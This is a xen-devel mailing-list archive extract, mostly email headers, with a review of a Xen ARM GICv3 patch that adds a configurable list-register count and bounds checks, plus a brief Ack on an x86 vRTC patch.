 b=sMCoM+aq2UR5yX3suQbCSIswEk1SAlbnjca4IBAZI2mTw48KWGi0W/B/O8McmaWIWnIJYjI0UKJJEezPTWdHY0KqOz1g9s2Ui9IM2EY+SXZ6FelWz4mU2TyE8xIQGKQ50CU7X+MvxXdgWK6nFVNmwnTk428tjZ74Izwi0xifAYswHIEeB7nnaXpjuc5517Z4Cl6uM+hHbhmRnb1RFwAI4IPrU30EEtIY2fLmTp7d/0b7gE4jTse3EycTCgRBk80dSNVpH1nUls6f2afP+PStpV1FnxbO2CR6ObXzk+ZkaUljS+OtrZ4lwYEqXUVYDdX6L/lfqpI8FlWCmC+4VlHq+Q==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=amd.com smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Q4GMW0NQzElnhyngtJUncnCCZTMBxBsDAFT6IObqqaE=;
 b=AndPpM3+MhUxjuX0ImxyXtRn1/btz3cjWcF+6vcXPfOsgnHbA0v1x9AZ148LrG/+w3Abi9Azy4fDKLRdlHaass+LEAcKtaL6eAzsp4dIN6GcHnY7hRI4CYk7f8ldnu45pZ/fOdj9Uru9i3CvWgsF+G9w7ubfIHSCjUUg36VrCWw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Iux4qRA1kRzWaBH5Yd3qMC1VP3k9e+IF3Q4dRkVIs5LqkAqVy7hovlv6phKZN+Vmb5LhdQat06UAss6YbRt9El99mdOQ3ILel/9XQ5Gf1W+DKcWO5XUu84TsV2aelKr4Vaw2LrcmvKpNvCAqWVHjWLmpOm2qxJTEONaUZSZeu4W4AK9G589Ebkjn686W9/s0TW/+ijqpX/nnnhI+tFSjtKWF5UmjN5cmUUNlwEUZVj62PDk5/UHvx4lWzcuQqf+PLe/qpwpmUjEs7l5I5wBqDQe8mJ0vWKwAIOW081bEywOrLaxpv5aNSl7EkYuaTtNBPvsp21U73P47QK8fBvuyww==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Q4GMW0NQzElnhyngtJUncnCCZTMBxBsDAFT6IObqqaE=;
 b=cOQnDzqX24cz/S+36CcEAlVc/+nbxMbiIq3Q7b4hJohMYGKJnO3PWoAqlkbJzyh6kQAmPOSPBnS+ymEmAy51igX09pl6BjQd22v9NXeiQK/voFJgEmMNnAi2yPd6EGJAmPOM1fwu3xToLEzfYs16vkekPmLjPLsGeTDsGf5F/5bPODrVy6nafkLXuY4eGLJARvRklZSqAHkAOjn5GF6EBcRmmuabPxTqymg4+aQNofC5G6xUeU7tdYGR0TVMOpV8sGky1uvSvVMQ8DxMYkmWETINgU2OX84petfeZaDsKuLTRMrozVMgvXCrZabiy43niatP1jiZFdI27v8+9SjtAw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Q4GMW0NQzElnhyngtJUncnCCZTMBxBsDAFT6IObqqaE=;
 b=AndPpM3+MhUxjuX0ImxyXtRn1/btz3cjWcF+6vcXPfOsgnHbA0v1x9AZ148LrG/+w3Abi9Azy4fDKLRdlHaass+LEAcKtaL6eAzsp4dIN6GcHnY7hRI4CYk7f8ldnu45pZ/fOdj9Uru9i3CvWgsF+G9w7ubfIHSCjUUg36VrCWw=
From: Bertrand Marquis <Bertrand.Marquis@arm.com>
To: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, Stefano
 Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Michal
 Orzel <michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Thread-Topic: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
Thread-Index: AQHdDUxnpNWLH92ScEigAcOkgcohAraEPl+A
Date: Wed, 29 Jul 2026 07:33:12 +0000
Message-ID: <734D78C2-5B91-49BB-8633-A6D982A91620@arm.com>
References: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
In-Reply-To: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-mailer: Apple Mail (2.3864.600.51.1.1)
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
x-ms-traffictypediagnostic:
	PR3PR08MB5593:EE_|GVXPR08MB7872:EE_|DU6PEPF0000A7DE:EE_|AS4PR08MB8117:EE_
X-MS-Office365-Filtering-Correlation-Id: 7b8baee5-ea16-487d-7cb6-08deed43caed
x-checkrecipientrouted: true
nodisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|23010399003|1800799024|366016|376014|38070700021|11063799006|10067099003|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 A7eWZge/zE/A942XaAuTzE/pLx4uHvYvFAR6D2bW23ElWWjVkq/oWIhTl1Rurp0fJ4HBI3/zhKaqSTtkk3BhPfMIl7zQCCHJI0rrNvYdeoc6J5Gq8hoGYZdnOuBPFyepS2TTNqmoIVWeKV4FM0k4o32vgWnyM/Z6kbljiSww4/NQzqXKh8h7Kho8JB9a4enkjQWNidZ6dYXenaYNTEOewTc2EITXpAE3EXsQu0tlXMO5FHYm2ql8CkmESLIRW3oH3DZeEKjmjcbFI7wm15zC/w7DyTL8rsQsDGIFZuFElQ+/C7m0GqV8rEaLudOBglZLXW6T13iO9BLcRtBzdJtgUjZLeOe9tJpKMhFFzW6z1Ym0qWDhD+RDLOm33GCngt3BL80KiFP9cKxJxbnHzFp09ODw9O9HNIWAZjroVbfzz/TCMpf5LkieZhbQ9kvapdC03f5W2FGAnTyWEIcomPIHsJ/b6QNz4VatfjTUPCg59iXfledzufDWepMXlRVQmimP+tN0zrHioABWr+HDif7YiQkhakbCJeHZjV+H+i+rYUSfH16AetCd86YOm4g0tbeUSF3e8Pa88/Vh7UXl2Eq51oSzx4jXpqS7xAWnc99JSjddjPdMklR21Qn+Kze0ZdgEK1lTLBFgwpMwS58fjquW/vJUe/blHBPejztZx9NNTbSIFaGHhlYewjr1swOcdxwh5VI0Aa05Nfc3aR2iXMsIJ0TiTTE/QPt1QQBRIqjSJyY=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:PR3PR08MB5593.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(366016)(376014)(38070700021)(11063799006)(10067099003)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
Content-Type: text/plain; charset="us-ascii"
Content-ID: <90F23C9A04EA3E419BBB2FB1ED76D4BB@eurprd08.prod.outlook.com>
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Exchange-RoutingPolicyChecked:
 npZqS2OEAr8rnpw7t0s0k8p+VNQKHIUIU2f486xLdjlL7Xs8sSbU+5ekrX1UztLFu174tg8weMuPXfX5gVX77wND7iuxLw3njNWmEYNDgldGD6BGpJHSJpWdq0yl3fEcHk0IVEaX1CYLI+iFJHiTR3wLY+RocZ0WOMMtKWCwP879o6YjSvUYxFUUaVZsg/CQOCMXaJZ+iOYCPuUjrTTl4u71OyeEqSZUCMR9GLlkv8G75wnmL6iB5OWNdgbkQ27e4YRolrjUWSPAIrWV4SJdpFr0xAZvaLGLers1u4E0wL2lhoyb00cuAPbMYq0uwl5hCp7XhCbIdf8ecQEn/m8PuA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GVXPR08MB7872
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DU6PEPF0000A7DE.eurprd02.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	863aabdd-43ec-433a-9723-08deed43a527
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|35042699022|1800799024|23010399003|376014|14060799003|56012099006|11063799006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	GWc1q4ThmQL0mveMXocxSYjequs7cHm98UbeaWgSyznke72neAk+3AVtbJG9jPI9A5u4CUJUvCKzus+sef0vCZNjFJwmcMl+80vSnrnqxNo6BK5kY0F/uaPmN1Z3FrUA0tykCzcfq55ZXHhTf3v1Vdk9MLQVr3iGDomea0/h592erRCtC7/tCST8K0KmRDnhi/HoaxqSwqjt1Mwj1/xBNW/7y9emHF6p49AquHiFNh6LhIbmkIEh3KjOnn/a3NPzduXzU7c9AZ/+rPQA0CIlKUUGIdPZJytQNVXnXNYlojfdXqsaoTWZekIwuyaODdDEUXqyfULHil/yt7LXk0P8Js6XerucG/Kdke/mgKFP/dX5VcaZFsF1mSIDq7Iczo24Dbesh/aewCTe7Ccfc0j2WrTJxN+bffFXOEiqGEBq3iTp9+3RQ8O5+snP/TUQpl6FXQG7jXL1xw83g0gITdaygjR143X33hry/JnVOVbX1DGmiJkNEANDelmKzelWq26T2bmHVQDEgnCyOEUDOKtOtSIh3LRsgs7YLOHCc109wp51VJp7X7v04/KU4Y6empM7DT5NSaCSsINfVwMmSU2IoBgQrt5D8rEjwh2pa9HaDmVISe7ETMffXqTRhluHRkS3mMe8B96ZorQ9MaQmdhbMREGnYRi+EVZxanomRjtmieprc+L1cnXF6Zv8wRw1yTjSDI0SsD0iyLV94iFFJu8+Pg==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(35042699022)(1800799024)(23010399003)(376014)(14060799003)(56012099006)(11063799006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	oT+Bvdq5RrnoBWI49GZR8oVxuFHCL9ZQ3wtZGUmvMeEZ5xljL+ORtLEzBgoM8pO+trFzIe9tG6SCi6Dd1qK+1Cnur80QjquiFpFU1M9ppiWVQJpWKK9P0ILRIAJfzeZjMQI5X6xjONH5FSVK8cCujlZroIQFwshh2x0XUlOKfVYQCjpj00tXRYLdffn1t7kR/Ixb3oawjFqK8GIAnGuEvt18TNYbba4Z90zWCmi4Jmdmc2OHzNxFVfDrJUE53z0PfZdmWraTV8fiSkAFDPzsIPo4FvJesQcmYXLft7nn5xgbvOenohxVhw+rn9WXvS3PbHm8n53KUYtxQAm6AzO6B/jNEV1tbvu5gsJwwaF+rQ+l02X1pDT0KyQUIXeR95CShLpPji4CSEwfmj2IEMKDU2iw3zYuGY9F4h8khipMKp9S7tKlZtaE3NDaw041S0em
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 07:34:15.5205
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7b8baee5-ea16-487d-7cb6-08deed43caed
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DU6PEPF0000A7DE.eurprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS4PR08MB8117
X-purgate-ID: tlsNG-ef75cf/1785310464-A4AC8AE4-E6BD4979/0/0
X-purgate-type: clean
X-purgate-size: 5601

Hi,

> On 6 Jul 2026, at 15:35, Ayan Kumar Halder <ayan.kumar.halder@amd.com> wr=
ote:
>=20
> Add a Kconfig option that lets an integrator hard-code the number of
> GICv3 Link Registers Xen uses. The default (0) keeps reading the count
> from ICH_VTR_EL2.ListRegs at boot. A non-zero value is validated
> against the hardware count in gicv3_hyp_init() and replaces
> gicv3_info.nr_lrs.
>=20
> gicv3_hyp_init() now panics if CONFIG_GICV3_NR_LRS exceeds the
> hardware count, and zeroes all hardware LRs (once per CPU) as defensive
> hardening, so any interrupt left in an LR that Xen will not manage
> cannot be picked up by the GIC.
>=20
> gicv3_ich_read_lr()/gicv3_ich_write_lr() now reject out-of-range
> indices with an error message, ASSERT_UNREACHABLE() and WARN() instead
> of silently returning RAZ/WI; reaching this path indicates a bug.
>=20
> Signed-off-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
> Signed-off-by: Michal Orzel <michal.orzel@amd.com>

With the typo Link/List registers fixed:

Reviewed-by: Bertrand Marquis <bertrand.marquis@arm.com>

Cheers
Bertrand

> ---
> Changes in=20
> v3:
> - Validate CONFIG_GICV3_NR_LRS against the hardware count in
>  gicv3_hyp_init() and panic if it exceeds it (Julien, Luca).
> - Allow an integrator to select fewer LRs than the hardware supports;
>  gicv3_info.nr_lrs is replaced with the clamped value (Julien).
> - Zero all hardware LRs in gicv3_hyp_init() as defensive hardening.
> - Replace the silent RAZ/WI out-of-range path in gicv3_ich_read_lr()/
>  gicv3_ich_write_lr() with gprintk() + ASSERT_UNREACHABLE() + WARN()
>  (Julien).
> - Renamed the Kconfig from LRS to NR_LRS (Julien).
> - The link-time dead-code-elimination guard is split out into a
>  separate follow-up patch.
>=20
> v2:
> - s/lrs/LRS.
> - Implement RAZ/WI instead of panic.
>=20
> xen/arch/arm/Kconfig  |  9 ++++++++
> xen/arch/arm/gic-v3.c | 50 ++++++++++++++++++++++++++++++++++++++++++-
> 2 files changed, 58 insertions(+), 1 deletion(-)
>=20
> diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
> index 5fa89fcb24..798bc8e9b2 100644
> --- a/xen/arch/arm/Kconfig
> +++ b/xen/arch/arm/Kconfig
> @@ -143,6 +143,15 @@ config GICV3_ESPI
>  range, from 4096 to 5119. This feature is introduced in GICv3.1
>  architecture.
>=20
> +config GICV3_NR_LRS
> + int "Number of GICv3 Link Registers used" if EXPERT
> + depends on GICV3
> + range 0 16
> + default 0
> + help
> +  Controls the number of Link registers to be used.
> +  Keep it set to 0 to use a value obtained from a hardware register.
> +
> config HAS_ITS
>         bool "GICv3 ITS MSI controller support (UNSUPPORTED)" if UNSUPPOR=
TED
>         depends on GICV3 && !NEW_VGIC && !ARM_32
> diff --git a/xen/arch/arm/gic-v3.c b/xen/arch/arm/gic-v3.c
> index acdac22953..46ab0b6329 100644
> --- a/xen/arch/arm/gic-v3.c
> +++ b/xen/arch/arm/gic-v3.c
> @@ -178,6 +178,15 @@ static inline void gicv3_restore_lrs(const struct vc=
pu *v)
>=20
> static uint64_t gicv3_ich_read_lr(int lr)
> {
> +    if ( lr < 0 || lr >=3D gicv3_info.nr_lrs )
> +    {
> +        gprintk(XENLOG_ERR, "GICv3: LR read index %d out of range (nr_lr=
s %u)\n",
> +                lr, gicv3_info.nr_lrs);
> +        ASSERT_UNREACHABLE();
> +        WARN();
> +        return 0;
> +    }
> +
>     switch ( lr )
>     {
>     case 0: return READ_SYSREG_LR(0);
> @@ -203,6 +212,15 @@ static uint64_t gicv3_ich_read_lr(int lr)
>=20
> static void gicv3_ich_write_lr(int lr, uint64_t val)
> {
> +    if ( lr < 0 || lr >=3D gicv3_info.nr_lrs )
> +    {
> +        gprintk(XENLOG_ERR, "GICv3: LR write index %d out of range (nr_l=
rs %u)\n",
> +                lr, gicv3_info.nr_lrs);
> +        ASSERT_UNREACHABLE();
> +        WARN();
> +        return;
> +    }
> +
>     switch ( lr )
>     {
>     case 0:
> @@ -1041,9 +1059,39 @@ static void gicv3_cpu_disable(void)
> static void gicv3_hyp_init(void)
> {
>     register_t vtr;
> +    uint8_t hw_nr_lrs;
>=20
>     vtr =3D READ_SYSREG(ICH_VTR_EL2);
> -    gicv3_info.nr_lrs  =3D (vtr & ICH_VTR_NRLRGS) + 1;
> +    hw_nr_lrs =3D (vtr & ICH_VTR_NRLRGS) + 1;
> +
> +    if ( CONFIG_GICV3_NR_LRS && CONFIG_GICV3_NR_LRS > hw_nr_lrs )
> +        panic("GICv3: CONFIG_GICV3_NR_LRS (%u) exceeds hardware nr_lrs (=
%u)\n",
> +              CONFIG_GICV3_NR_LRS, hw_nr_lrs);
> +
> +    gicv3_info.nr_lrs =3D CONFIG_GICV3_NR_LRS ?: hw_nr_lrs;
> +
> +    /* Zero all hardware LRs. */
> +    switch ( hw_nr_lrs )
> +    {
> +    case 16: WRITE_SYSREG_LR(0, 15); fallthrough;
> +    case 15: WRITE_SYSREG_LR(0, 14); fallthrough;
> +    case 14: WRITE_SYSREG_LR(0, 13); fallthrough;
> +    case 13: WRITE_SYSREG_LR(0, 12); fallthrough;
> +    case 12: WRITE_SYSREG_LR(0, 11); fallthrough;
> +    case 11: WRITE_SYSREG_LR(0, 10); fallthrough;
> +    case 10: WRITE_SYSREG_LR(0, 9); fallthrough;
> +    case 9:  WRITE_SYSREG_LR(0, 8); fallthrough;
> +    case 8:  WRITE_SYSREG_LR(0, 7); fallthrough;
> +    case 7:  WRITE_SYSREG_LR(0, 6); fallthrough;
> +    case 6:  WRITE_SYSREG_LR(0, 5); fallthrough;
> +    case 5:  WRITE_SYSREG_LR(0, 4); fallthrough;
> +    case 4:  WRITE_SYSREG_LR(0, 3); fallthrough;
> +    case 3:  WRITE_SYSREG_LR(0, 2); fallthrough;
> +    case 2:  WRITE_SYSREG_LR(0, 1); fallthrough;
> +    case 1:  WRITE_SYSREG_LR(0, 0); break;
> +    default: BUG();
> +    }
> +
>     gicv3.nr_priorities =3D ((vtr >> ICH_VTR_PRIBITS_SHIFT) &
>                           ICH_VTR_PRIBITS_MASK) + 1;
>=20
> --=20
> 2.25.1
>=20



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:47:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:47:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375243.1622462 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woz14-0003P1-6L; Wed, 29 Jul 2026 07:47:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375243.1622462; Wed, 29 Jul 2026 07:47:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woz14-0003Ou-3H; Wed, 29 Jul 2026 07:47:50 +0000
Received: by outflank-mailman (input) for mailman id 1375243;
 Wed, 29 Jul 2026 07:47:48 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1woz12-0003Oo-Na
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:47:48 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1woz12-00F7et-21;
 Wed, 29 Jul 2026 07:47:48 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1woz12-000NTp-04;
 Wed, 29 Jul 2026 07:47:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Wed, 29 Jul 2026 09:47:43 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH v2 3/4] x86/vRTC: the use_timer field is a boolean one
Message-ID: <ammwHx-mfJPLivgz@macbook.local>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
 <f8c7271e-db76-4dd0-af5f-6ed11f9be8aa@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <f8c7271e-db76-4dd0-af5f-6ed11f9be8aa@suse.com>

On Thu, Jul 02, 2026 at 11:30:44AM +0200, Jan Beulich wrote:
> ... and hence wants to be of bool type.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:52:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:52:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375273.1622472 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woz5T-0005AY-ID; Wed, 29 Jul 2026 07:52:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375273.1622472; Wed, 29 Jul 2026 07:52:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woz5T-0005AR-Fd; Wed, 29 Jul 2026 07:52:23 +0000
Received: by outflank-mailman (input) for mailman id 1375273;
 Wed, 29 Jul 2026 07:52:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Bertrand.Marquis@arm.com>) id 1woz5S-0005AL-7G
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:52:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woz5R-001mxS-HL
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:52:21 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69b126-2eae-0a2a0a5409dd-0a2a4505ea04-34
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:52:21 +0200
Received: from [40.107.130.58]
 (helo=MRWPR03CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69b134-4cb1-0a2a45050019-286b823ac054-4
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:52:20 +0200
Received: from AM8P190CA0029.EURP190.PROD.OUTLOOK.COM (2603:10a6:20b:219::34)
 by GVXPR08MB11714.eurprd08.prod.outlook.com (2603:10a6:150:313::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 07:52:17 +0000
Received: from AMS0EPF000001AC.eurprd05.prod.outlook.com
 (2603:10a6:20b:219:cafe::7f) by AM8P190CA0029.outlook.office365.com
 (2603:10a6:20b:219::34) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 07:52:16 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AMS0EPF000001AC.mail.protection.outlook.com (10.167.16.152) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 07:52:16 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com (2603:10a6:102:84::13)
 by PAXPR08MB7599.eurprd08.prod.outlook.com (2603:10a6:102:23e::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 07:51:11 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e]) by PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e%6]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 07:51:11 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=yJlQZ4mZf2nrCryHiajLUe0g1IByyUCSXBO9DrilYfwrHG0yAQEfixkD7iar0tHq2bi67XXyUNSTkRUaAGudxHW9ClF9JH2qCOWr2NwCtuqlfJ3fWC+DiDk0aYdiSVq3jzXXuvJHKYtD1wipOJ6xK7bICvMlt32jC0vtaVQQuKpg0ZPszBOG1lpNxSqJI/OD0ShXFHcnLBtLT+2aUMsxXKH44cH2Zgis8IG6QsJS1QDbmXgDhHI3yribOYqmczHe3fJfU2OPw2sHAeCEaWD8cj3NKBlG+Z78hnMt+ORJDPz7U+w7n3yPG1HBd9JCI/xnbwQgt8OR4+5lGz40sesf6Q==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=v6A/lJcckBS5ybsYyiW0cHjG+vGGs59Ltu1sLMOCZt8=;
